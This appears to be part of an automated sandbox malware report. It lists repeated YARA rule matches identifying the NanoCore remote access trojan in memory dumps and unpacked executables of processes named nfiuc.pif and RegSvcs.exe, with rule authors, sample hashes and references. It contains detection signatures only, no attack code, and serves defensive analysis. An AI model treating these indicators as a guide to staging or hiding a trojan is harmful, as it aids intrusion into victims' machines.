Source: 00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000002.00000002.927012461.00000000060A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000002.00000002.927012461.00000000060A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000002.00000002.926952371.0000000006010000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000002.00000002.926952371.0000000006010000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000002.00000002.924061373.0000000003909000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000C.00000002.732316965.0000000003431000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: nfiuc.pif PID: 984, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: nfiuc.pif PID: 984, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: RegSvcs.exe PID: 4876, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: RegSvcs.exe PID: 4876, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: RegSvcs.exe PID: 5660, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: RegSvcs.exe PID: 5660, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: nfiuc.pif PID: 1380, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: nfiuc.pif PID: 1380, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 1.3.nfiuc.pif.4272830.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.3.nfiuc.pif.4272830.2.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.3.nfiuc.pif.4272830.2.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 2.2.RegSvcs.exe.391560b.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.RegSvcs.exe.391560b.4.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegSvcs.exe.391560b.4.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 11.3.nfiuc.pif.4679e70.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 11.3.nfiuc.pif.4679e70.0.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.4679e70.0.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 2.2.RegSvcs.exe.60a0000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.RegSvcs.exe.60a0000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegSvcs.exe.391b041.6.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.RegSvcs.exe.391b041.6.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.3.nfiuc.pif.4272830.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 1.3.nfiuc.pif.4272830.1.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.3.nfiuc.pif.4272830.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 11.3.nfiuc.pif.474baa0.5.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 11.3.nfiuc.pif.474baa0.5.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 11.3.nfiuc.pif.474baa0.5.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 12.2.RegSvcs.exe.448560b.6.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.RegSvcs.exe.448560b.6.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.RegSvcs.exe.448560b.6.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 12.2.RegSvcs.exe.349e6b0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.RegSvcs.exe.349e6b0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.RegSvcs.exe.44807ce.4.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.RegSvcs.exe.44807ce.4.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegSvcs.exe.60b0000.11.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
